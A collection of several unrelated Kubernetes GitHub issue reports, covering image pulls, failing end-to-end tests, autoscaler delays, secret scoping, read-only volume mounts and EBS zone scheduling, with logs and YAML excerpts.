default-52e963f4-b57f-4225-9a4e-0b33ba4d0197 4.4.0-96-generic  119~14.04.1-ubuntu smp wed sep 13 08:40:48 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r \r - install tools:\r \r    \r curl -lo https://storage.googleapis.com/kubernetes-release/release/v1.11.0/bin/linux/amd64/kubectl\r    \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r currently we cannot pull image from azure container registry repo which provides anonymous pull access since when do image pull, it will always use service pincipal for   .azurecr.  \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gci-gce-serial\r \r   which test s  are failing  :\r  sig-storage   serial  volume metrics should create metrics for total time taken in volume operations in p/v controller\r \r   since when has it been failing  :\r 6/1\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-storage-kubernetes gce-serial\r \r   reason for failure  :\r probably caused by\r https://github.com/kubernetes/kubernetes/pull/78061\r \r   anything else we need to know  :\r

if you deploy a cluster, then enable detect master and change the cidr and the availability zone, a second autoscaler is created properly, and everything seems good.  the problem is that i'm pretty sure the deploy script will read the env from the master in this case, and this is problematic as the master doesn't have docker_extra_opts.  so docker_extra_opts ends up being empty on the secondary regions.   solution: add docker_extra_opts to the master env, or ignore the master's docker_extra_opts.

hpa decided to rescale from 37 pods to 70.  for 11 minutes, it was blocked waiting for status on the new pods.  of those 11 minutes, 8 mins were waiting for cpu usage of 2 pods and 7 mins were waiting for a single pod.  impact: presumably it could have had enough statistical significance on the 68 pods' resource usage to make scaling decisions more quickly.  more worrisome: if a single pod were blocked for much longer, hpa would from a user perspective not be working.  it should be more robust.  aside, file as a different issue if you like, but it's not clear why hpa decided to go from 37 to 70 -- a jump of almost 2x, nor why it decided to scale down afterwards.  is the workload really that unstable?  i0811 19:33:36.255284       7 horizontal.go:346  successfull rescale of deployment, old size: 37, new size: 70, reason: cpu utilization above target i0811 19:33:36.257925       7 horizontal.go:403  successfully updated status for deployment i0811 19:33:36.839636       7 horizontal.go:403  successfully updated status for deployment i0811 19:33:37.243940       7 horizontal.go:403  successfully updated status for deployment i0811 19:33:48.585849       7 horizontal.go:403  successfully updated status for deployment i0811 19:34:16.136815       7 horizontal.go:403  successfully updated status for deployment w0811 19:34:16.137005       7 horizontal.go:92  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 37/66 of pods i0811 19:35:03.507715       7 horizontal.go:403  successfully updated status for deployment w0811 19:35:03.507754       7 horizontal.go:92  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 36/70 of pods i0811 19:35:33.205954       7 horizontal.go:403  successfully updated status for deployment w0811 19:35:33.205999       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 64/70 of pods i0811 19:35:33.612257       7 horizontal.go:403  successfully updated status for deployment w0811 19:35:33.612316       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 64/70 of pods i0811 19:36:03.469516       7 horizontal.go:403  successfully updated status for deployment w0811 19:36:03.469561       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 64/70 of pods i0811 19:36:33.263556       7 horizontal.go:403  successfully updated status for deployment w0811 19:36:33.263605       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 68/70 of pods i0811 19:37:03.267194       7 horizontal.go:403  successfully updated status for deployment w0811 19:37:03.267243       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 68/70 of pods i0811 19:37:33.443780       7 horizontal.go:403  successfully updated status for deployment w0811 19:37:33.443827       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:38:03.413053       7 horizontal.go:403  successfully updated status for deployment w0811 19:38:03.413092       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:38:33.376381       7 horizontal.go:403  successfully updated status for deployment w0811 19:38:33.376438       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:39:03.463229       7 horizontal.go:403  successfully updated status for deployment w0811 19:39:03.463269       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:39:33.271963       7 horizontal.go:403  successfully updated status for deployment w0811 19:39:33.272002       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:40:03.309366       7 horizontal.go:403  successfully updated status for deployment w0811 19:40:03.309413       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:40:33.280528       7 horizontal.go:403  successfully updated status for deployment w0811 19:40:33.280584       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:41:03.447094       7 horizontal.go:403  successfully updated status for deployment w0811 19:41:03.447140       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:41:33.461717       7 horizontal.go:403  successfully updated status for deployment w0811 19:41:33.461772       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:42:03.326426       7 horizontal.go:403  successfully updated status for deployment w0811 19:42:03.326488       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:42:33.290515       7 horizontal.go:403  successfully updated status for deployment w0811 19:42:33.290570       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/71 of pods i0811 19:43:03.444128       7 horizontal.go:403  successfully updated status for deployment w0811 19:43:03.444179       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:43:33.377820       7 horizontal.go:403  successfully updated status for deployment w0811 19:43:33.377879       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:44:03.288268       7 horizontal.go:403  successfully updated status for deployment w0811 19:44:03.288314       7 horizontal.go:99  failed to reconcile deployment: failed to compute desired number of replicas based on cpu utilization for deployment_path: failed to get cpu utilization: failed to get cpu consumption and request: metrics obtained for 69/70 of pods i0811 19:44:33.294457       7 horizontal.go:346  successfull rescale of deployment, old size: 70, new size: 56, reason: all metrics below target

from my current understanding, once i create a secret using something like the following, it is available to all pods in the namespace if they mount it into an environment variable or volume:\r \r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: mysecret\r type: opaque\r data:\r   password: mwyyzdflmmu2n2rm\r   username: ywrtaw4=\r    \r \r it would be nice if we could scope secrets to a deployment. in this case, the secrets can only be mounted into a volume or environment variables for the deployment. when the deployment is deleted, the secrets are also deleted. this way, another pod would not be able to get access to secrets owned by the deployment.\r \r the current work around is to use an environment variable directly in the deployment configuration, but environment variables are very insecure because a user can easily see the secret in plain text if he/she retrieves the deployment as a yaml file from the api server.

as i discussed this issue in  sig-storage these days, at present, even if we add rox access mode to pv and pvcs, the volume attached to pod is still in rw mode and can be written files to. \r \r the steps to reproduce this issue:\r 1. create a nfs pv with access mode readonlymany.\r 2. create a pvc with access mode readonlymany and make sure k8s bind this pvc with the pv we created in step1.\r 3. create a pod using the pvc defined in step2.\r 4. the nfc volume should be attached to pod successfully.\r 5. login to the pod and try to write some file to the volume, we can see that the file can be successfully written to the volume.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?  : aws persistentvolumeclaim kubeadm kubectl ebs\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:35:03z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:30:23z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :     linux ip-10-4-1-185 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux   \r -   install tools  : kubeadm, wget for latest 1.5.0-beta.2 binaries for kubectl, etc...\r -   others  :\r \r \r   what happened  : i can't mount pvcs on any pods.  i've tried having the pods in multiple azs which is how i would expect it in production or limited to a single az but the result is the same.  the pvc is created but never mounted to any node.  also, the pods are sent to a node in a   different az   from the underlying pvc ebs.\r \r \r   what you expected to happen  :  i expect pvcs to find a node in the same az and mount themselves there.  then i expect the pods to deploy or schedule themselves on those nodes where the pvc is mounted as aws ebs pvcs can only be mounted to one machine and only in the same region.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r ebs-storage.yaml:\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1beta1\r metadata:\r   name: aws-ebs-gp2\r provisioner: kubernetes.io/aws-ebs\r parameters:\r   encrypted: \ true\ \r    \r jenkins-home-claim.yaml:\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: jenkins-home-claim\r   annotations:\r     volume.beta.kubernetes.io/storage-class: \ aws-ebs-gp2\ \r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 10gi\r    \r jenkins-deployment.yaml:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: jenkins-deployment\r spec:\r   template:\r     metadata:\r       labels:\r         app: jenkins\r     spec:\r       securitycontext:\r         runasuser: 0\r       containers:\r       - name: jenkins\r         image: jenkins:2.19.2\r         ports:\r         - containerport: 8080\r         - containerport: 50000\r         volumemounts:\r         - mountpath: \ /var/jenkins_home\ \r           name: jenkins-home\r       volumes:\r       - name: jenkins-home\r         persistentvolumeclaim:\r           claimname: jenkins-home-claim\r    \r \r \r \r   anything else do we need to know  :\r    kubectl describe pods    when running nodes in multiple azs, note that the ebs is actually in a different az than the node where the pod was scheduled:\r    \r name:\t\tjenkins-deployment-175416522-yq812\r namespace:\tdefault\r node:\t\tip-10-4-4-117/10.4.4.117\r start time:\tthu, 01 dec 2016 15:15:30 +0000\r labels:\t\tapp=jenkins\r \t\tpod-template-hash=175416522\r status:\t\tpending\r ip:\t\t\r controllers:\treplicaset/jenkins-deployment-175416522\r containers:\r   jenkins:\r     container id:\t\r     image:\t\tjenkins:2.19.2\r     image id:\t\t\r     ports:\t\t8080/tcp, 50000/tcp\r     state:\t\twaiting\r       reason:\t\tcontainercreating\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /var/jenkins_home from jenkins-home  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-zabk8  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   initialized \ttrue \r   ready \tfalse \r   podscheduled \ttrue \r volumes:\r   jenkins-home:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tjenkins-home-claim\r     readonly:\tfalse\r   default-token-zabk8:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-zabk8\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t-------\r   1m\t\t1m\t\t1\t{default-scheduler }\t\t\tnormal\t\tscheduled\tsuccessfully assigned jenkins-deployment-175416522-yq812 to ip-10-4-4-117\r   1m\t\t1m\t\t1\t{controller-manager }\t\t\twarning\t\tfailedmount\tfailed to attach volume \ pvc-b415c123-b7d8-11e6-845c-06981f1a7c94\  on node \ ip-10-4-4-117\  with: error finding instance ip-10-4-4-117: instance not found\r   1m\t\t42s\t\t8\t{kubelet ip-10-4-4-117}\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ kubernetes.io/aws-ebs/ff0d43a8-b7d8-11e6-845c-06981f1a7c94-pvc-b415c123-b7d8-11e6-845c-06981f1a7c94\   spec.name: \ pvc-b415c123-b7d8-11e6-845c-06981f1a7c94\   pod \ ff0d43a8-b7d8-11e6-845c-06981f1a7c94\   uid: \ ff0d43a8-b7d8-11e6-845c-06981f1a7c94\   with: mount failed: exit status 32\r mounting command: mount\r mounting arguments: /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-east-1a/vol-83db5812 /var/lib/kubelet/pods/ff0d43a8-b7d8-11e6-845c-06981f1a7c94/volumes/kubernetes.io~aws-ebs/pvc-b415c123-b7d8-11e6-845c-06981f1a7c94   bind \r output: mount: special device /var/lib/kubelet/plugins/kubernetes.io/aws-ebs/mounts/aws/us-east-1a/vol-83db5812 does not exist\r    \r \r    kubectl describe pods    when running nodes in single az, note that the ebs is in the same az as the node the pod is being scheduled on:\r    \r name:\t\tjenkins-deployment-175416522-58g9q\r namespace:\tdefault\r node:\t\t/\r labels:\t\tapp=jenkins\r \t\tpod-template-hash=175416522\r status:\t\tpending\r ip:\t\t\r controllers:\treplicaset/jenkins-deployment-175416522\r containers:\r   jenkins:\r     image:\tjenkins:2.19.2\r     ports:\t8080/tcp, 50000/tcp\r     volume mounts:\r       /var/jenkins_home from jenkins-home  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-ualob  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   podscheduled \tfalse \r volumes:\r   jenkins-home:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tjenkins-home-claim\r     readonly:\tfalse\r   default-token-ualob:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-ualob\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   40m\t\t40m\t\t2\t{default-scheduler }\t\t\twarning\t\tfailedscheduling\tschedulerpredicates failed due to persistentvolumeclaim is not bound: \ jenkins-home-claim\ , which is unexpected.\r   40m\t\t51s\t\t139\t{default-scheduler }\t\t\twarning\t\tfailedscheduling\tpod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 \r    \r \r logs from    kubectl logs  kube-controller-manager-ip-10-4-1-185 --namespace=kube-system   :\r    \r i1201 18:30:27.286191       1 event.go:217  event api.objectreference{kind:\ deployment\ , namespace:\ default\ , name:\ jenkins-deployment\ , uid:\ 3b05626c-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ extensions\ , resourceversion:\ 256\ , fieldpath:\ \ } : type: 'normal' reason: 'scalingreplicaset' scaled up replica set jenkins-deployment-175416522 to 1\r i1201 18:30:27.288843       1 replica_set.go:451  too few \ default\ /\ jenkins-deployment-175416522\  replicas, need 1, creating 1\r i1201 18:30:27.311747       1 event.go:217  event api.objectreference{kind:\ replicaset\ , namespace:\ default\ , name:\ jenkins-deployment-175416522\ , uid:\ 3b067b6f-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ extensions\ , resourceversion:\ 257\ , fieldpath:\ \ } : type: 'normal' reason: 'successfulcreate' created pod: jenkins-deployment-175416522-58g9q\r i1201 18:30:27.396327       1 deployment_controller.go:298  error syncing deployment default/jenkins-deployment: operation cannot be fulfilled on deployments.extensions \ jenkins-deployment\ : the object has been modified; please apply your changes to the latest version and try again\r i1201 18:30:27.445037       1 deployment_controller.go:298  error syncing deployment default/jenkins-deployment: operation cannot be fulfilled on deployments.extensions \ jenkins-deployment\ : the object has been modified; please apply your changes to the latest version and try again\r i1201 18:30:27.493024       1 aws.go:1078  found instances in zones map us-east-1a:{} us-east-1c:{} us-east-1d:{} us-east-1e:{} \r i1201 18:30:27.495123       1 util.go:331  creating volume for pvc \ jenkins-home-claim\ ; chose zone=\ us-east-1a\  from zones= \ us-east-1a\  \ us-east-1c\  \ us-east-1d\  \ us-east-1e\  \r i1201 18:30:27.810863       1 aws_util.go:127  successfully created ebs disk volume aws://us-east-1a/vol-1326a582\r i1201 18:30:28.154089       1 pv_controller.go:1384  volume \ pvc-3acb281a-b7f4-11e6-8ca1-0e033c85ce90\  provisioned for claim \ default/jenkins-home-claim\ \r i1201 18:30:28.157710       1 pv_controller.go:672  volume \ pvc-3acb281a-b7f4-11e6-8ca1-0e033c85ce90\  entered phase \ bound\ \r i1201 18:30:28.157805       1 pv_controller.go:808  volume \ pvc-3acb281a-b7f4-11e6-8ca1-0e033c85ce90\  bound to claim \ default/jenkins-home-claim\ \r i1201 18:30:28.172174       1 pv_controller.go:608  claim \ default/jenkins-home-claim\  entered phase \ bound\ \r i1201 18:31:44.670564       1 servicecontroller.go:635  detected change in list of current cluster nodes. new node set:  ip-10-4-1-185 \r i1201 18:31:44.670594       1 servicecontroller.go:643  successfully updated 2 out of 2 load balancers to direct traffic to the updated set of nodes\r w1201 18:43:15.797546       1 reflector.go:315  pkg/controller/garbagecollector/garbagecollector.go:760: watch of <nil> ended with: 401: the event in requested index is outdated and cleared  the requested history has been cleared  239/45    1238 \r    \r \r logs from    kubectl logs  kube-scheduler-ip-10-4-1-185  --namespace=kube-system   :\r    \r i1201 18:29:22.211785       1 factory.go:300  creating scheduler from algorithm provider 'defaultprovider'\r i1201 18:29:22.211989       1 factory.go:346  creating scheduler with fit predicates 'map podtoleratesnodetaints:{} maxgcepdvolumecount:{} matchinterpodaffinity:{} generalpredicates:{} checknodememorypressure:{} checknodediskpressure:{} novolumezoneconflict:{} maxebsvolumecount:{} nodiskconflict:{} ' and  'map interpodaffinitypriority:{} leastrequestedpriority:{} balancedresourceallocation:{} nodepreferavoidpodspriority:{} nodeaffinitypriority:{} tainttolerationpriority:{} selectorspreadpriority:{} \r ...\r ...\r ...\r i1201 20:37:37.369539       1 factory.go:660  updating pod condition for default/jenkins-deployment-175416522-58g9q to  podscheduled==false \r i1201 20:37:37.370392       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ jenkins-deployment-175416522-58g9q\ , uid:\ 3b1b789f-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ v1\ , resourceversion:\ 265\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 \r i1201 20:37:41.372166       1 scheduler.go:97  failed to schedule pod: default/jenkins-deployment-175416522-58g9q\r e1201 20:37:41.372178       1 factory.go:583  error scheduling default jenkins-deployment-175416522-58g9q: pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 ; retrying\r i1201 20:37:41.372206       1 factory.go:660  updating pod condition for default/jenkins-deployment-175416522-58g9q to  podscheduled==false \r i1201 20:37:41.372472       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ jenkins-deployment-175416522-58g9q\ , uid:\ 3b1b789f-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ v1\ , resourceversion:\ 265\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 \r i1201 20:37:49.374392       1 scheduler.go:97  failed to schedule pod: default/jenkins-deployment-175416522-58g9q\r e1201 20:37:49.374467       1 factory.go:583  error scheduling default jenkins-deployment-175416522-58g9q: pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 ; retrying\r i1201 20:37:49.374565       1 factory.go:660  updating pod condition for default/jenkins-deployment-175416522-58g9q to  podscheduled==false \r i1201 20:37:49.374610       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ jenkins-deployment-175416522-58g9q\ , uid:\ 3b1b789f-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ v1\ , resourceversion:\ 265\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 \r i1201 20:38:05.376405       1 scheduler.go:97  failed to schedule pod: default/jenkins-deployment-175416522-58g9q\r e1201 20:38:05.376419       1 factory.go:583  error scheduling default jenkins-deployment-175416522-58g9q: pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 ; retrying\r i1201 20:38:05.376463       1 factory.go:660  updating pod condition for default/jenkins-deployment-175416522-58g9q to  podscheduled==false \r i1201 20:38:05.377419       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ jenkins-deployment-175416522-58g9q\ , uid:\ 3b1b789f-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ v1\ , resourceversion:\ 265\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 \r i1201 20:38:37.379463       1 scheduler.go:97  failed to schedule pod: default/jenkins-deployment-175416522-58g9q\r e1201 20:38:37.379537       1 factory.go:583  error scheduling default jenkins-deployment-175416522-58g9q: pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 ; retrying\r i1201 20:38:37.379691       1 factory.go:660  updating pod condition for default/jenkins-deployment-175416522-58g9q to  podscheduled==false \r i1201 20:38:37.379778       1 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ jenkins-deployment-175416522-58g9q\ , uid:\ 3b1b789f-b7f4-11e6-8ca1-0e033c85ce90\ , apiversion:\ v1\ , resourceversion:\ 265\ , fieldpath:\ \ } : type: 'warning' reason: 'failedscheduling' pod  jenkins-deployment-175416522-58g9q  failed to fit in any node\r fit failure summary on nodes : podtoleratesnodetaints  1 \r

seen in https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/45913/pull-kubernetes-e2e-gce-etcd3/31840/?log log\r \r both seem to have occured:\r \r    go\r req := proxyrequest.namespace rc.framework.namespace.name .\r \tcontext ctx .  // on this line\r \tname rc.controllername .\r \tsuffix \ consumemem\  .\r ...\r    \r \r    \r i0524 08:09:27.202  •  slow test:279.272 seconds \r i0524 08:09:27.202   k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu \r i0524 08:09:27.202  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:618\r i0524 08:09:27.202     k8s.io  replicationcontroller light\r i0524 08:09:27.203    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:618\r i0524 08:09:27.203      should scale from 1 pod to 2 pods\r i0524 08:09:27.203      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/autoscaling/horizontal_pod_autoscaling.go:80\r i0524 08:09:27.203  ------------------------------\r i0524 08:09:30.347   beforeeach   k8s.io  disruptioncontroller\r i0524 08:09:30.348    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:128\r i0524 08:09:30.348  step: creating a kubernetes client\r i0524 08:09:30.348  may 24 08:06:39.036: info: >>> kubeconfig: /workspace/.kube/config\r i0524 08:09:30.348  step: building a namespace api object\r i0524 08:09:30.348  step: waiting for a default service account to be provisioned in namespace\r i0524 08:09:30.349   beforeeach   k8s.io  disruptioncontroller\r i0524 08:09:30.349    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:52\r i0524 08:09:30.349   it  evictions: enough pods, replicaset, percentage => should allow an eviction\r i0524 08:09:30.349    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:214\r i0524 08:09:30.349  step: waiting for all pods to be running\r i0524 08:09:30.349  may 24 08:06:43.728: info: running pods: 8 < 10\r i0524 08:09:30.350   aftereach   k8s.io  disruptioncontroller\r i0524 08:09:30.350    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:129\r i0524 08:09:30.350  may 24 08:06:45.838: info: waiting up to 3m0s for all  but 0  nodes to be ready\r i0524 08:09:30.350  step: destroying namespace \ e2e-tests-disruption-fb01s\  for this suite.\r i0524 08:09:30.350  may 24 08:06:51.574: info: consumecustommetric failure: post https://104.154.214.178/api/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-wvp77/services/rc-light-ctrl/proxy/bumpmetric?delta=0&durationsec=30&metric=qps&requestsizemetrics=10: context deadline exceeded\r i0524 08:09:30.351  may 24 08:06:51.575: info: consumemem failure: post https://104.154.214.178/api/v1/namespaces/e2e-tests-horizontal-pod-autoscaling-wvp77/services/rc-light-ctrl/proxy/consumemem?durationsec=30&megabytes=0&requestsizemegabytes=100: context deadline exceeded\r i0524 08:09:30.351  may 24 08:09:30.304: info: namespace: e2e-tests-disruption-fb01s, resource: bindings, ignored listing per whitelist\r i0524 08:09:30.351  may 24 08:09:30.345: info: namespace e2e-tests-disruption-fb01s deletion completed in 2m44.448076784s\r i0524 08:09:30.351  \r i0524 08:09:30.351  \r i0524 08:09:30.351  •! panic in spec teardown  aftereach   171.310 seconds \r i0524 08:09:30.351   k8s.io  disruptioncontroller\r i0524 08:09:30.352  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:618\r i0524 08:09:30.352    evictions: enough pods, replicaset, percentage => should allow an eviction  aftereach \r i0524 08:09:30.352    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:214\r i0524 08:09:30.352  \r i0524 08:09:30.352    test panicked\r i0524 08:09:30.352    runtime error: invalid memory address or nil pointer dereference\r i0524 08:09:30.352    /usr/local/go_k8s_patched/src/runtime/asm_amd64.s:514\r i0524 08:09:30.353  \r i0524 08:09:30.353    full stack trace\r i0524 08:09:30.353    \t/usr/local/go_k8s_patched/src/runtime/panic.go:489 +0x2cf\r i0524 08:09:30.353    k8s.io/kubernetes/test/e2e/common.  resourceconsumer .sendconsumememrequest.func1 0x2d99dc0, 0xc4212b8ae0, 0xc420fdfd3f \r i0524 08:09:30.353    \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:259 +0x5f\r i0524 08:09:30.353    